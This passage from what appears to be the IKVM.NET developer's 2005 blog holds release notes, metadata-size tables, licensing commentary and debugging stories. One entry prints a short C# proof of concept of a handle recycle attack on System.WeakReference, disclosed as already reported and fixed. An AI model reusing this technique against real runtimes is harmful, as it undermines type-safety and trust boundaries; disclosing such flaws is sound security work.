0x0000023B   IKVM.Attributes.MirandaMethodAttribute::.ctor(20 00 01 ( ..))
0x000008A3   IKVM.Attributes.ConstantValueAttribute::.ctor(20 01 01 08 ( ...))
0x00000DFB   System.Diagnostics.DebuggableAttribute::.ctor(20 02 01 02 02 ( ....))
0x00000E03   IKVM.Attributes.RemappedClassAttribute::.ctor(20 02 01 0E 12 15 ( .....))
0x00000E0B   System.Reflection.AssemblyCompanyAttribute::.ctor(20 01 01 0E ( ...))
0x00000E13   System.Reflection.AssemblyCopyrightAttribute::.ctor(20 01 01 0E ( ...))
0x00000E1B   System.Reflection.AssemblyTitleAttribute::.ctor(20 01 01 0E ( ...))
0x00000E23   System.Reflection.AssemblyProductAttribute::.ctor(20 01 01 0E ( ...))

Type            Count  Blob Bytes  Total Bytes
----            -----  ----------  -----------
0x0000000B        917        7522        18526
0x00000013          1           5           17
0x0000001B          4         404          452
0x00000023        390         140         4820
0x0000002B          3           0           36
0x00000033        593           0         7116
0x0000003B       1785       33923        55343
0x00000043          6           0           72
0x0000004B        389           0         4668
0x00000053        776        3689        13001
0x0000005B         42           1          505
0x00000063         68           9          825
0x0000006B         89        2982         4050
0x00000073       5657       22069        89953
0x0000007B          1          25           37
0x0000010B      29864      456058       814426
0x0000023B        128           0         1536
0x000008A3          1           9           21
0x00000DFB          1           7           19
0x00000E03          4         479          527
0x00000E0B          1          21           33
0x00000E13          1         272          284
0x00000E1B          1          41           53
0x00000E23          1          14           26

For comparison, here's the same table for the 0.16 version:

Custom Attributes
-----------------
Total Blob Bytes:  638882
Total Table Bytes: 631896

Type         Constructor
----         -----------
0x0000000B   IKVM.Attributes.JavaModuleAttribute::.ctor(20 00 01 ( ..))
0x00000013   IKVM.Attributes.SourceFileAttribute::.ctor(20 01 01 0E ( ...))
0x0000001B   IKVM.Attributes.RemappedTypeAttribute::.ctor(20 01 01 12 15 ( ....))
0x00000023   IKVM.Attributes.ModifiersAttribute::.ctor(20 01 01 11 1D ( ....))
0x0000002B   IKVM.Attributes.GhostInterfaceAttribute::.ctor(20 00 01 ( ..))
0x00000033   IKVM.Attributes.HideFromJavaAttribute::.ctor(20 00 01 ( ..))
0x0000003B   IKVM.Attributes.ImplementsAttribute::.ctor(20 01 01 1D 0E ( ....))
0x00000043   System.ThreadStaticAttribute::.ctor(20 00 01 ( ..))
0x0000004B   System.ObsoleteAttribute::.ctor(20 00 01 ( ..))
0x00000053   IKVM.Attributes.InnerClassAttribute::.ctor(20 04 01 0E 0E 0E 11 1D ( .......))
0x0000005B   IKVM.Attributes.ExceptionIsUnsafeForMappingAttribute::.ctor(20 00 01 ( ..))
0x00000063   System.ComponentModel.EditorBrowsableAttribute::.ctor(20 01 01 11 80 FD ( .....))
0x0000006B   IKVM.Attributes.NameSigAttribute::.ctor(20 02 01 0E 0E ( ....))
0x00000073   IKVM.Attributes.ThrowsAttribute::.ctor(20 01 01 1D 0E ( ....))
0x0000007B   IKVM.Attributes.RemappedInterfaceMethodAttribute::.ctor(20 02 01 0E 0E ( ....))
0x0000010B   IKVM.Attributes.LineNumberTableAttribute::.ctor(20 01 01 1D 05 ( ....))
0x00000233   IKVM.Attributes.MirandaMethodAttribute::.ctor(20 00 01 ( ..))
0x000008A3   IKVM.Attributes.ConstantValueAttribute::.ctor(20 01 01 08 ( ...))
0x00000DFB   System.Diagnostics.DebuggableAttribute::.ctor(20 02 01 02 02 ( ....))
0x00000E03   IKVM.Attributes.RemappedClassAttribute::.ctor(20 02 01 0E 12 15 ( .....))
0x00000E0B   System.Reflection.AssemblyCompanyAttribute::.ctor(20 01 01 0E ( ...))
0x00000E13   System.Reflection.AssemblyCopyrightAttribute::.ctor(20 01 01 0E ( ...))
0x00000E1B   System.Reflection.AssemblyTitleAttribute::.ctor(20 01 01 0E ( ...))
0x00000E23   System.Reflection.AssemblyProductAttribute::.ctor(20 01 01 0E ( ...))

Type            Count  Blob Bytes  Total Bytes
----            -----  ----------  -----------
0x0000000B          1           5           17
0x00000013       4216       82327       132919
0x0000001B          4         404          452
0x00000023       5829         224        70172
0x0000002B          3           0           36
0x00000033       3209           0        38508
0x0000003B       1775       33852        55152
0x00000043          6           0           72
0x0000004B        389           0         4668
0x00000053        766       78090        87282
0x0000005B         42           1          505
0x00000063         68           9          825
0x0000006B         89        2982         4050
0x00000073       5650       22069        89869
0x0000007B          1          25           37
0x0000010B      30469      418060       783688
0x00000233        131           0         1572
0x000008A3          1           0           12
0x00000DFB          1           7           19
0x00000E03          4         479          527
0x00000E0B          1          21           33
0x00000E13          1         272          284
0x00000E1B          1          41           53
0x00000E23          1          14           26

One notable item is that the line number tables have grown in 0.18, this is due to the fact that 0.18 has been compiled with the Eclipse Java Compiler whereas 0.16 was compiled with Jikes. For some reason, the Eclipse compiler generates larger line number tables. I haven't investigated this yet.

The new -strictfinalfieldsemantics ikvmc option was the direct result of studying the impact of metadata on the file size. Without this option, public and protected final fields are converted into readonly properties and the field requires and additional attribute. With the option, final fields are converted into initonly fields, which has the same semantics under a strict interpretation of the 1.5 VM specification. This option alone saves 155,648 bytes.

Looking at the custom attribute sizes, there appears to be more room for improvement. In particular, the ThrowsAttribute, InnerClassAttribute and ImplementsAttribute can benefit from using tokens instead of encoding the class names in the constructor blob, but the required APIs to resolve tokens are new in Whidbey, so for the time being that isn't an option.

Another long term improvement would be to include the line number tables in the method IL (or after the IL), to save on the records in the custom attribute table (which contribute a very significant 358,368 bytes). This would probably be possible in Whidbey by using MethodBody.GetILAsByteArray(), but it would be nicer if the ECMA spec would be extended to support this directly (it would also remove the need for the ridiculously large PDB files simply to get line numbers in stack traces for other .NET applications).

7/19/2005 11:06:52 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, July 18, 2005

IKVM 0.18 rc1

The previous release candidate 0.16 rc1 never actually made it to release because of a GNU Classpath showstopper bug. Thanks to Mark Wielaard for working hard to quickly do a follow up GNU Classpath release that fixes the problem and includes a number of other improvements. I haven't made many changes to IKVM in the mean time, the only major one being that I focussed some effort on reducing the size of the metadata of IKVM.GNU.Classpath (and as a side effect for most other ikvmc generated assemblies as well). I also switched to the Eclipse Java Compiler  because Jikes generates code that is incompatible with the new -strictfinalfieldsemantics ikvmc option.

Update japi results are available here.

Changes:

  • Integrated GNU Classpath 0.17.
  • Switched to the Eclipse Java Compiler for compiling GNU Classpath (not just the generics branch).
  • Added optimization to only store source file name is the name differs from the class name + ".java"
  • Simplified and optimized inner class attribute metadata.
  • Added -strictfinalfieldsemantics option to ikvmc to generate more efficient (and 1.5 spec compliant) code. Note that this is not enabled by default for maximum compatibility with the Sun JVM (which isn't compliant with the 1.5 spec).
  • Rely less on HideFromJavaAttribute and more on naming conventions to use less metadata.
  • Changed ikvm.exe to ignore common -X options that java.exe supports.
  • Changed java.version system property to 1.4.1 to support Eclipse 3.1.
  • Added GNU Classpath version to ikvm.exe -version output.

Files are available here: ikvm-0.18.0.0.zip (sources + binaries), ikvmbin-0.18.0.0.zip (binaries)

7/18/2005 10:09:06 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, July 01, 2005

IKVM 0.16 rc1

GNU Classpath 0.16 was released yesterday, so I've made a new IKVM release based on it. An interesting new feature in this release is that you can now debug dynamically loaded Java classes in the June CTP of Visual Studio 2005. Note that this only works if you start your application in the Visual Studio debugger (at startup the IKVM runtime checks System.Diagnostics.Debugger.IsAttached to determine if it should emit debugging information or not).

Update japi results are available here.

Changes:

  • Integrated GNU Classpath 0.16.
  • Fixed GC race condition for remapped exceptions (introduced in previous snapshot).
  • Added support for naming method/constructor parameters in map.xml.
  • Added support for attaching attributes to parameters in map.xml.
  • Named all method/constructor parameters in map.xml.
  • Changed ExceptionHelper.readObject to not convert ClassNotFoundException into IOException.
  • Named parameters for Cast, CastArray, IsInstance and IsInstanceArray methods in ghost structures.
  • Removed support for "deprecated" attribute in map.xml. Marking methods deprecated in map.xml can now be done by applying the System.ObsoleteAttribute attribute.
  • Removed support for "hidefromjava" attribute in map.xml. Marking methods HideFromJava in map.xml can now be done by applying the IKVM.Attributes.HideFromJavaAttribute attribute.
  • Instancehelper methods on java.lang.String are no longer EditorBrowable(Never).
  • Only emit method parameter names for public/protected methods in public types.
  • Interface methods and methods that don't have debug info now get synthesized parameter names.
  • A couple of "random" awt fixes.
  • Added support for P/Invoke (DllImportAttribute).
  • Moved ikvmc specific compiler support to AotTypeWrapper class.
  • Fixed member access checks (for real this time).
  • Moved native methods of FileChannelImpl and MappedByteBufferImpl from IKVM.Runtime to IKVM.GNU.Classpath (using P/Invoke from Java).
  • Added -fileversion option to ikvmc to set the unmanaged file version.
  • Added call to AssemblyBuilder.DefineVersionInfoResource() to ikvmc, so that a version info resource is now automatically created (the contents are based on the various assembly attributes and the -version and -fileversion options).
  • Fixed possible (but unlikely) NullReferenceException in ClassLoaderWrapper.FinishAll() when it encounters a type that cannot be finished for some reason.
  • Made the line number table encoding a little more efficient.
  • Changed build process to support building the GNU Classpath generics branch (in addition to the main branch).
  • Added a hack to ikvmstub to export generic type instantiations. This enables a usable mscorlib.jar to be generated from the 2.0 version of mscorlib.dll.
  • Implement reversible name mangling for .NET type names (to handle generic type instantiations).
  • Fixed name mangling for delegate inner classes.
  • Set DebuggableAttribute to assembly before creating the module, to make sure Visual Studio (Whidbey) picks up the attribute when debugging dynamically generated code.
    Fixed possible System.ArgumentException in Class.forName() (when trying to load a class with a name that is invalid in .NET)
  • Fixed JNI_GetCreatedJavaVMs to accept null pointer for nVMs.
  • Fixed class name in error message for VerifyError that occurs when overriding a final method.
  • Added workaround to make dynamic debugging work in Whidbey June CTP.

Files are available here: ikvm-0.16.0.0.zip (sources + binaries), ikvmbin-0.16.0.0.zip (binaries)

7/1/2005 12:47:52 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, June 29, 2005

The Eclipse Java Compiler

For the past three years I've been using the Jikes compiler to build GNU Classpath, but unfortunately Jikes development isn't very active anymore. I wanted to start playing with the GNU Classpath generics branch (the branch that contains the classes that require 1.5 specific language features), so I needed a compiler that could compile the generics branch and was freely available. The Eclipse Java Compiler was the obvious choice and while I ran into two bugs when I tried to compile the generics branch, the bugs were fixed within hours after I filed them, that kind of responsiveness is confidence inspiring.

The next IKVM release (hopefully due next week) will still be built with Jikes, but future releases will most likely be built with the Eclipse Java Compiler. To make this easier I've used ikvmc to compile it to ecj.exe and created a Windows installer that installs ecj.exe and adds IKVM.GNU.Classpath.dll and IKVM.Runtime.dll to the Global Assembly Cache. If you're not on Windows, you can download ecj.exe in this zipfile. Note that ecj.exe requires Mono 1.1.8.1 or later.

6/29/2005 2:51:00 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, June 23, 2005

PDC '05

From September 13 thru 16 I'll be in Los Angeles for the Microsoft Professional Developer Conference.

If anyone wants to meet up and hang out or chat, drop me a note.

6/23/2005 3:56:19 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, May 23, 2005

New Snapshot

Partial Trust

I did some research into supporting partial trust and it looks like it might be feasible. This snapshot already contains some changes to better support running in partial trust (particularly for IKVM.GNU.Classpath, IKVM.Runtime contains unsafe code so it currently needs to be trusted). On .NET 1.1 non of the built in partial trust permission sets are suitable, because I require ReflectionPermission(ReflectionPermissionFlag.TypeInformation). In Whidbey this permission flag is deprecated, so the story looks more promissing there.

One of the consequences of adding partial trust support is that IKVM.Runtime.dll will need to be split into several parts. At the very least the JNI implementation will need to be in a separate assembly, so that the common non-JNI scenarios won't require SkipVerification permission.

Exception Handling

I made some major changes to exception handling in this version. However, for Java code nothing should change (except that it hopefully runs a little bit faster), but for .NET/Java interop there are some important changes:

  • Exceptions generated by the CLR or .NET code (e.g. System.NullReferenceException) will no longer be changed into their Java equivalents for non-Java code. This means that when you catch an exception in IKVM Java code, you'll still see the corresponding Java exception (e.g. java.lang.NullPointerException), but when you rethrow the exception, the original exception gets thrown.
  • When Java code explicitly throws a .NET exception (e.g. System.NullReferenceException) it is no longer remapped to the Java equivalent.
  • Catching exceptions now faithfully corresponds to the IKVM type system. This means that you can now use catch(cli.System.Exception) to catch the unremapped .NET exceptions.

This is a major step towards my ultimate vision for exception handling, but I'm not nearly there yet. Other changes I want to make include adding more exception state to java.lang.Throwable instead of the WeakHashMap construct that is currently used (the WeakHashMap will still be required to associate the .NET exceptions with their remapped Java exceptions). I also want to use exception filters to check for remapped exceptions, to make the debugging experience better and the bytecode compiler needs to be improved to recognize try {} finally {} constructs so that they can be compiled as .NET try {} finally {} blocks, instead of the currently used and vastly less efficient try {} catch() { throw; }.

Other News

Mark Proctor reports that Drools runs on IKVM.

Changes:

  • Sync'ed with GNU Classpath cvs.
  • Removed VMClass.forName() implementation (rely on standard implementation instead).
  • Fixed ikvmc to ignore directories in jars.
  • Added "isStatic" parameter to JNI methods ToReflectedMethod and ToReflectedField (this parameter is missing in the JNI specification, but exists in the Sun implementation).
  • Removed workaround for previously unimplemented MethodBase.GetMethodFromHandle in Mono from JNI code.
  • Removed workaround for previously broken GCHandle.IsAllocated in Mono.
  • Removed workaround for previously broken Assembly.GetTypes() in Mono.
  • Disabled finalizer in MemberWrapper (since code unloading isn't supported, members will never be finalized anyway).
  • Added MirandaMethod to MemberFlags.
  • Fixed cosmetic bug in verifier that caused unloadable array types to be named incorrectly.
  • Implemented 1.5 java.lang.String methods (except String.format()).
  • Added ldsfld instruction support to remapper.
  • Implemented ikvmc -compressresources option, to use a simple compression algorithm for resources.
  • Classpath locale information is now in *.properties files instead of classes with resource compression this shaves a couple of hundred KB of the size of IKVM.GNU.Classpath.
  • Many changes to exception handling to improve performance, compatibility and consistency.
  • Added EditorBrowsable(Never) attribute to helper methods in java.lang.Throwable.
  • Fixed method "cloaking" (i.e. hiding .NET methods on Java types in IntelliSense) to hide inherited static methods as well.
  • Various fixes to work towards supporting running in partial trust.
  • Fixed ikvmc bug that caused it to run Java code when tracing was enabled.
  • Added support for applying CodeAccessSecurityAttribute derived attributes (although not at the assembly level yet).
  • Fixed a Miranda bug that caused incorrect classes to be generated for abstract classes implementing java.lang.Comparable but not implementing compareTo.
  • Implemented support for applying attributes to methods/fields defined in map.xml.
  • Changed reflection to disallow reflecting on IKVM.Runtime types (to avoid potential security holes, where Java code can access internal members of IKVM.Runtime).
  • Enabled generation of debug info when a debugger is attached (at the time the runtime is initializing), to allow debugging of dynamically generated code (a Whidbey feature, although in beta 2 it doesn't work yet).
  • Added check to ikvmc to make sure that referenced ikvmc-generated assemblies were compiled with the same version of the ikvm runtime.

New snapshots: just the binaries and source plus binaries.

5/23/2005 11:31:14 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, May 18, 2005

Cross Language Debugging in MonoDevelop

Lluis Sánchez posted some cool screencasts that demo cross language debugging in MonoDevelop [via Miguel de Icaza].

5/18/2005 2:16:45 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, May 11, 2005

IKVM 0.14 Released

I released 0.14 and put the files up on SourceForge. The bits are identical to Monday's rc2.

5/11/2005 2:43:20 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, May 09, 2005

Harmony

There's been a lot of confusion about Harmony in the last couple of days. I don't pretend to speak on behalf of the project, but I wanted to give my take on it.

The primary goal of Harmony is to create a J2SE 5 implementation under the Apache License. Many people have interpreted this as meaning that the ASF would start building a JVM and class library from scratch, but that's not the intention at all (although it is a possible worst case scenario). Talks are ongoing between the FSF and ASF to try and work together to change the GNU Classpath license to be compatible with the Apache License. In this light it is important to note that GNU Classpath is already licensed under a modified version the GPL that is more liberal to attract more developers and users. Another thing to note is that the FSF owns all copyright on GNU Classpath (each individual contributor signs over their copyright to the FSF), so the FSF can relatively easily change the license of GNU Classpath (or, for example, dual license it).

In his "Fork in the Open Source Java world" blog entry (a title I obviously disagree with) Miguel argues that the GPL may be a liability instead of an asset for some open source projects. I tend to agree with his view, the GPL and the FSF activism scare many people away, and even with a more liberal license there exist strong motivational factors for companies to work with the community instead of forking a large project and improving only their private version.

As for the pretentious name, all I can say is that I had nothing to do with that :-)

Update: Mark Wielaard corrects me:

And just to correct a little information in Jeroen's latest blog. The FSF/ASF talks are about the general (L)GPL/ASL 2.0 incompatabilities. We do hope to finally solve those since most of them are just legal technicalities and misunderstandings/misinterpretations. (This is something I think is of even more value then this new harmony project).

The current exception statement to the GPL used by GNU Classpath is compatible with and acceptable to the Apache community. But the FSF did say that IF the exception statement was in any way unclear THEN they would certainly be willing to clarify it so that there was no obstacle for adoption of GNU Classpath. There currently doesn't seem any need to do this though.

5/9/2005 10:05:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Release Candidate 2

Thanks to M. David Peterson for reporting a regression in rc1. I fixed that and created rc2.

Files:

ikvm-0.14-rc2.zip  (source + binaries)
ikvmbin-0.14-rc2.zip   (binaries)

Changes:

  • Fixed regression in member access check that caused public members inherited from a non-public base class in a different package not to be accessible.
  • Merged ikvm-native FreeBSD compilation fixes from Mono's svn back in.
  • Updated all assembly versions to 0.14.0.1 (including JVM.DLL that I forgot in rc1).
5/9/2005 9:24:36 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, May 02, 2005

IKVM 0.14 rc1

GNU Classpath 0.15 was released yesterday, so based on that I'm releasing a new version of IKVM. Besides the many improvements to GNU Classpath, there have been a bunch of IKVM fixes and two major new features: support for defining .NET properties and for applying .NET attributes. Both these features are controlled via the xml remap file. Here's an example Java class with corresponding xml file:
public class IntList
{
  private int[] list;
  public IntList(int size)
  {
    list = new int[size];
  }
  public void setItem(int index, int value)
  {
    list[index] = value;
  }
  public int getItem(int index)
  {
    return list[index];
  }
}
<?xml version="1.0" encoding="utf-8" ?>
  <root>
    <assembly>
     <class name="IntList">
       <attribute type="System.Reflection.DefaultMemberAttribute, mscorlib" sig="(Ljava.lang.String;)V">
         <parameter>Item</parameter>
       </attribute>
       <property name="Item" sig="(I)I">
         <getter name="getItem" sig="(I)I" />
         <setter name="setItem" sig="(II)V" />
       </property>
     </class>
  </assembly>
</root>

When IntList.java is compiled to IntList.class and then ikvmc'ed using:

   ikvmc IntList.class -remap:IntList.xml

The resulting IntList.dll will be usable from C# like this:

   IntList l = new IntList(10);
   l[4] = 42;
   Console.WriteLine(l[4]);

Valdemar Mejstad created a tool to automatically generate the xml to define properties based on Java's java.beans.BeanInfo. The source is available here: MapFileGenerator.java.

Files:

ikvm-0.14-rc1.zip  (source + binaries)
ikvmbin-0.14-rc1.zip   (binaries)

Changes:

  • Integrated GNU Classpath 0.15 release
  • Dropped support for Mono 1.0.x, because Mono 1.1.x is now the recommended (by the Mono team) version to use.
  • Made some optimizations to System.arraycopy().
  • Removed the previously deprecated ikvm.lang.ByteArrayHack class.
  • Merged fixes to gnu.java.nio.channels.FileChannelImpl from Classpath.
  • Added CLR "bitness" (32 or 64) to ikvm -version output.
  • Fixed ByteCodeHelper.DynamicCast() and ByteCodeHelper.DynamicInstance() to handle null references properly (always succeed/fail the cast/instanceof, without trying to load the type).
  • Changed os.arch for "AMD64" to "amd64" to match JDK.
  • Added sun.arch.data.model system property.
  • Fixed VMThread.suspend()/resume() to not throw exceptions if invalid calls are done.
  • Fixed VMThread.stop() to better handle suspended threads.
  • Fixed a bug in invocation of JNI_OnLoad (if the method exited with a pending exception, the exception wasn't dispatched).
  • Added GC.KeepAlive() to FileChannelImpl.flush() to make sure the file channel isn't GCed (and thus closed) while the native method is running.
  • Fixed verifier to correctly identify stack overflows when double/long values are involved.
  • Fixed verifier to reject empty try blocks.
  • Fixed bug in VMTimeZone.inDaylightTime() [Fix by Alexander Zuev].
  • Fixed a whole bunch of bugs in java.lang.reflect.Field [Reported by Alexander Zuev].
  • Created two subclasses of CompiledTypeWrapper to handle the special cases for remapped and ghost type to make the normal types more efficient.
  • Added a micro optimization to FieldWrapper to avoid having to call FieldInfo.IsLiteral on each reflective field access, because FieldInfo.IsLiteral turns out to be quite expensive on the Microsoft CLR.
  • Removed -monoBugWorkaround switch from IKVM.GNU.Classpath.dll build script, since Mono 1.1.4 and later no longer require it.
  • Fixed bug in protected member access check (it was too strict, requiring the referenced class to be visible).
  • Improved error message when core library doesn't match runtime version.
  • Implemented memory mapped I/O.
  • Added support for defining properties through map.xml file.
  • Added check to ikvmc to prevent signing assemblies that reference unsigned assemblies.
  • Added support for adding custom attributes to assembly, classes, fields, methods and constructors in the map.xml file.
  • Removed -enabletls option from ikvmc (fields can now be marked as thread local by adding a custom attribute).
  • Added AssemblyCopyrightAttribute to IKVM.GNU.Classpath.dll.
  • Fixed a bug in .NET type reflection handling of explicit method implementations.
  • Fixed bug in JNI return value marshaling for methods with boolean return type.
  • Fixed NullReferenceException bug when compiling class with native finalize method.
  • Fixed JNI to continue to work during "finalization for exit".
  • Implemented System.runFinalizersOnExit(boolean). By default, Java finalizers no longer run at application exit.
5/2/2005 2:39:33 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, April 18, 2005

Whidbey Beta 2

I downloaded Whidbey Beta 2 from MSDN (subscription required) and installed it on my AMD64 machine (recently repaved with WinXP x64 RTM). Installation went very smooth and IKVM builds and runs its test suite (without requiring the workaround that the Februari CTP needed).

My Very Own Breaking Change

A long time ago I wrote about problems with the C# destructor and used System.WeakReference as example. Recently I discovered a related, but more serious problem with System.WeakReference and reported it to Microsoft.

Here is some evil code:

using System;
class Class1 : WeakReference
{
    Class1(object obj)
      : base(obj)
    {
    }
    
    static void Main(string[] args)
    {
        Class1 r = new Class1("foo");
        Console.WriteLine(r.Target);
        Class1 clone = (Class1)r.MemberwiseClone();
        GC.Collect();
        GC.WaitForPendingFinalizers();
        new Class1("bar");
        Console.WriteLine(clone.Target);
    }
}

The last statement prints out bar. Notice that we aren't supposed to have a reference to bar. This is a variation of a handle recycle attack.

In Beta 2 this problem was "fixed" by adding an unmanaged code inheritance demand to System.WeakReference, so untrusted code will not be able to subclass WeakReference (which is needed to get access to MemberwiseClone). This is a (minor) breaking change, but obviously the right thing to do.

4/18/2005 9:04:12 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, March 21, 2005

Saxon.NET RC1

The Saxon.NET developers have announced RC1 of Saxon.NET. I like this project, because it is a good example of the kind of project I envisioned when I started IKVM.NET. They take an existing Java library and convert it to a .NET assembly using ikvmc and they add important value by packaging and testing the converted assembly and by providing examples and utilities.

64-bit

In unrelated news, I've been able to successfully run my internal test suite on x64 (An AMD64 system running Windows XP Professional x64 Edition RC1 running the Whidbey February CTP). I had to work around one Whidbey February CTP specific bug and had to make a change to VMThread.stop() relating to a Whidbey change in Thread.Abort(). It's too bad there isn't an x64 Windows version of Eclipse yet, because that would make a good real world test.

3/21/2005 4:47:35 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, March 02, 2005

How Not To Fix Bugs

At the moment ikvm/runtime/JniInterface.cs contains the following workaround:

#if __MonoCS__ 
  // MONOBUG mcs requires this bogus fixed construct (and Microsoft doesn't allow it)
  fixed(void** p = &pJavaVM->firstVtableEntry) { pJavaVM->vtable = p; }
#else
  pJavaVM->vtable = &pJavaVM->firstVtableEntry;
#endif

Up until Mono 1.1.4 this workaround is required, but current Mono svn has a fixed mcs that doesn't require (nor allow) the workaround.

This means that current IKVM cvs isn't compilable with current Mono svn and that's dumb. The proper way to fix mcs would have been to temporarily (at least until after the next Mono release) allow the incorrect usage of fixed and issue a warning that such usage is illegal and will stop working in a future release.

3/2/2005 11:05:32 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

IKVM 0.12 Released

I put the 0.12 release up on SourceForge. Basically the same as yesterday's snapshot, only now the version is 0.12.0.0 and the binaries are signed.

3/2/2005 10:51:21 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Tuesday, March 01, 2005

New Snapshot

I made a new snapshot that will become the 0.12 release if no showstoppers are found. Based on the Eclipse inlining mess I decided to measure how much of a performance hit it is to disable inlining for all non-leaf methods and I found it to be very small for the benchmarks I tried. This combined with the fact that inlining would need to be disabled (for many methods) in the future to support the Java security model, I decided to go ahead and do that already. This is the first IKVM version that actually supports running Eclipse 3.0 and using it to develop Java code (even if it is horribly slow to get warmed up).

I've also disabled dynamic binding in ikvmc compilation, because it doesn't really work. The problem is that package access doesn't work across assemblies, so any package accessible types/members in statically compiled code cannot be accessed by dynamically loaded classes. I may re-enable this functionality at some point in the future, by combining it with an option to make all package accessible types/members public.

For dynamically compiled code, dynamic binding continues to work (to support scenarios were the more eager loading of classes by IKVM would otherwise cause problems).

Changes:

  • Integrated GNU Classpath 0.14 release.
  • Added ToString to ClassLoaderWrapper, to enable efficient tracing.
  • Added support for HideFromJava attribute to map.xml parser.
  • Added JNI trace switch.
  • Added extensive tracing to JNI code.
  • Added JVM.EnableReflectionOnMethodsWithUnloadableTypeParameters HACK to allow ikvm.exe to do reflection on main class that has unloadable types in method parameters.
  • Added JVM.DisableDynamicBinding to disable dynamic binding when compiling with ikvmc.
  • Cleaned up ikvmc warning/error messages.
  • Added TypeWrapper.EnsureLoadable() to consistently handle unloadable types.
  • Added generation of warning messages (in ikvmc scenario) to UnloadableTypeWrapper.
  • Changed JNI method ptr field name to get more consistent JNI trace messages.
  • Fixed JNI bug that caused JNI_GetCreatedJavaVMs not to work if the JVM wasn't started with JNI_CreateJavaVM.
  • Added exception mapping methods __<map>() to java.lang.Throwable (not visible from Java and most other CLR languages, but used internally by IKVM).
  • java.lang.ExceptionHelper is no longer public.
  • Disabled method inlining for non-leaf methods.
3/1/2005 10:09:25 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, February 22, 2005

Stack Traces

Corey comments on the previous entry:

While I agree that the Eclipse code is performing some nasty checks there I don't think I agree with the implication that the stacktrace created by the VM should change based on whether the method was inlined or not. I'm not sure what is mandated by the JVM spec but the stacktrace isn't going to be very useful for a developer debugging his program if the stacktrace changes depending on whether something got inlined or optimized away by the VM...

Here's what the Javadocs for Throwable.getStackTrace() say:

Some virtual machines may, under some circumstances, omit one or more stack frames from the stack trace. In the extreme case, a virtual machine that has no stack trace information concerning this throwable is permitted to return a zero-length array from this method.

On JDK 1.1 it was quite common to miss stack frames in a stack trace, but HotSpot is actually very good at creating a full stack trace even when it inlines methods. The CLR could certainly do better in this regard.

Bottom line is that the Eclipse code is very JVM specific and as far as I can tell it doesn't even serve any useful purpose.

2/22/2005 9:20:05 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Eclipse is Evil

While it's been possible to start up Eclipse with IKVM for a long time, editing a Java source didn't really work. Today I decided to look into the problem. It turned out to be caused by an IllegalStateException thrown from the following method in MarkerAnnotationPreferences.java:

/**
 * Checks correct access.
 * 
 * @throws IllegalStateException if not called by {@link EditorsUI}
 * @since 3.0
 */
private static void checkAccess() throws IllegalStateException {
  StackTraceElement[] elements=  new Throwable().getStackTrace();
  if (!(elements[2].getClassName().equals(EditorsUI.class.getName())
      || elements[3].getClassName().equals(EditorsUI.class.getName())))
      throw new IllegalStateException();
}

It looks at the stack trace that the Throwable produces to ascertain if it was called by the correct method. This is obvious not very robust (as is born out by the fact that it checks two different slots in the array).

The calling method in EditorsUI.java is:

public static void useAnnotationsPreferencePage(IPreferenceStore store) {
  MarkerAnnotationPreferences.useAnnotationsPreferencePage(store);
}

A perfect candidate for inlining! Which the CLR does, of course. So the EditorsUI class didn't appear in the stack trace at all, causing checkAccess() to fail.

For the time being I added a workaround to IKVM to disable inlining for all methods in classes named org.eclipse.ui.editors.text.EditorsUI, but that's obviously a disgusting hack.

2/22/2005 1:49:56 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Friday, February 18, 2005

Snapshot

Mostly bug fixing and a couple of work arounds for bugs in the CLR and Mono.

Changes:

  • Sync'ed with GNU Classpath cvs.
  • Fixed bug in ClassLoaderWrapper that caused exception when defining the ModuleBuilder if the first class loader to define a class had a toString() representation that contained characters that are illegal in an assembly name.
  • Changed System.identityHashCode implementation to use non-virtual call to Object.GetHashCode instead of RuntimeHelpers.GetHashCode, to work around .NET runtime bug.
  • Fixed reflection to support modifying final instance fields (as per JSR-133).
  • Added optional verbose cast failure messages (set the IKVM_VERBOSE_CAST environment variable to enable this).
  • Fixed unloadable type support in native method signatures.
  • Changed handling of delegate types that have unsupported types in method signature (inner interface is no longer generated). This fixes bug 1119575.
  • Added -enabletls option to ikvmc to automagically add ThreadStaticAttribute to fields starting with __tls_
  • Changed IKVM specific Classpath methods to use __tls_ fields instead of LocalDataStoreSlot. This improves performance, but also works around a bug in the CLR relating to AppDomain shutdown and a GC bug in Mono on Windows.
  • Added workaround for Mono bug in GCHandle.IsAllocated.
  • Fixed implicit interface downcasting (which is sometimes required due to a quirk in the JVM spec) to throw IncompatibleClassChange instead of ClassCastException.
  • Fixed bug in argument globbing code that caused command line of statically converted executables to start with the name of the executable (in args[0]) on unix.
  • Fixed bug that caused Thread.join() on main thread to hang.
  • Fixed JNI name mangling to support encoding Unicode and special characters correctly.
  • Fixed JavaException to not call String.Format on non-format strings.
  • Optimized VMThread.jniDetach to not do anything if a Java thread object was never created.

New snapshots: just the binaries and source plus binaries.

2/18/2005 1:18:32 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, February 08, 2005

Weird Bug

Jamie Cansdale reported a strange problem on the mailing list. His code ran successfully when run for the first time, but subsequent runs in the same process, but a different AppDomain failed with a ClassCastException.

He was kind enough to work with me to try and isolate the problem. So several hours and various private IKVM builds later, I was able to reproduce the root problem:

using System;
using System.Runtime.CompilerServices;
class Class1
{
  static void Main(string[] args)
  {
    RuntimeHelpers.GetHashCode(new Class1());
    if(AppDomain.CurrentDomain.FriendlyName != "2nd")
    {
